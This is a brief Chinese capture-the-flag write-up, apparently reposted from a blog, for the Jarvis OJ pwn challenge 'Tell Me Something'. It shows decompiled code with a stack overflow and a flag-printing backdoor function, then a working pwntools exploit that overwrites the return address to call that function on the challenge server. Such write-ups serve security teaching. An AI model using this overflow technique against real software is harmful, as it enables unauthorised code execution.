Tell Me Something
作者:互联网
file及checksec如下:
查看main函数:
int __cdecl main(int argc, const char **argv, const char **envp) { __int64 v4; // [rsp+0h] [rbp-88h] BYREF write(1, "Input your message:\n", 0x14uLL); read(0, &v4, 0x100uLL); return write(1, "I have received your message, Thank you!\n", 0x29uLL); }
存在栈溢出漏洞
发现存在后门函数:
int good_game() { FILE *v0; // rbx int result; // eax char buf[9]; // [rsp+Fh] [rbp-9h] BYREF v0 = fopen("flag.txt", "r"); while ( 1 ) { result = fgetc(v0); buf[0] = result; if ( (_BYTE)result == 0xFF ) break; write(1, buf, 1uLL); } return result; }
我们的目的就是运行good_game函数
exp如下:
from pwn import * elf = ELF('./guestbook') #io = process('./guestbook') io = connect('pwn.jarvisoj.com', 9876) flag_addr = elf.symbols['good_game'] payload = b'a'*0x88 + p64(flag_addr) io.sendlineafter('message:\n', payload) io.interactive()
标签:Me,int,char,result,io,message,buf,Tell,Something 来源: https://www.cnblogs.com/hktk1643/p/14281375.html